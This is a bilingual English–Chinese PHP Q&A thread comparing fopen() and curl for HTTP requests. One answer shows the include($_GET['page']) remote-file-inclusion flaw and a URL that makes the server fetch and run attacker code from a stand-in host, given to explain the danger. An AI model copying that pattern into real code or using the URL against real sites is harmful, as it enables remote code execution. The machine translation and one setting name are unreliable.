I'm writing some code that will need to speak to a web service over HTTP(s). In the past I've used the curl library. Recently, I noticed that I can simply use fopen() to access a remote URL and it seems far simpler.
我正在編寫一些需要通過HTTP與web服務對話的代碼。過去我用過curl庫。最近,我注意到我可以簡單地使用fopen()來訪問遠程URL,而且看起來要簡單得多。
Curl seems to be much more configurable, having a plethora of options. Beyond that configurability, does it matter which method is used? If so, which is better and why?
Curl似乎更易於配置,有大量的選項。除了可配置性,使用哪種方法有關系嗎?如果是這樣,哪一個更好,為什么?
3 个解决方案
#1
14
fopen() will only open remote URLs if allow_fopen_url is enabled in php.ini.
如果在php.ini中啟用了allow_fopen_url, fopen()將只打開遠程url。
However in versions prior to 5.2.0, this was exceedingly dangerous because the include function would also download and parse PHP code from remote sites. A naive coder could easily be caught out with code like:
但是在5.2.0之前的版本中,這是非常危險的,因為include函數還會從遠程站點下載和解析PHP代碼。一個幼稚的編碼器很容易被以下代碼捕獲:
$page = $_GET['page'];
include($page);
?>
at which point an attacker just has to ask for http://example.com/script.php?page=http://example.net/my_exploit_script to execute their own code on the system and introduce an exploit. Unfortunately the default value for allow_fopen_url is 'on'.
此時,攻擊者只需請求http://example.com/script.php?page=http:// / example.net/my_剝削者腳本在系統上執行他們自己的代碼並引入一個漏洞。不幸的是,allow_fopen_url的默認值是“on”。
Fortunately, since 5.2.0 there's a separate setting (which should default to 'off') called allow_url_include which prevents include from downloading remote code.
幸運的是,自從5.2.0以來,有一個名為allow_url_include的單獨設置(應該默認為'off')阻止include下載遠程代碼。
Personally, if you've got the option to use Curl, use that rather than fopen.
就我個人而言,如果您可以選擇使用Curl,那么使用它而不是fopen。
#2
15
As Alnitak said, using CURL does not depend on the PHP settings. I've done some speed tests
正如Alnitak所說,使用CURL並不依賴於PHP設置。我做了一些速度測試
file_get_contents
with my
和我的
function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
Result:
結果:
0.263456821442
0.0626730918884
CURL is 4 times faster :)
卷發要快4倍:)
#3
5
side note: PHP can be configured to use curl for the http url_wrapper instead of using "its own" implementation.
附加說明:PHP可以配置為將curl用於http url_wrapper而不是使用“它自己的”實現。
ext/curl/interface.c:
ext /卷/ interface.c:
#ifdef PHP_CURL_URL_WRAPPERS
# if HAVE_CURL_VERSION_INFO
{
curl_version_info_data *info = curl_version_info(CURLVERSION_NOW);
char **p = (char **)info->protocols;
while (*p != NULL) {
php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC);
}
}
# else
php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC);
php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC);
php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC);
php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC);
# endif
#endif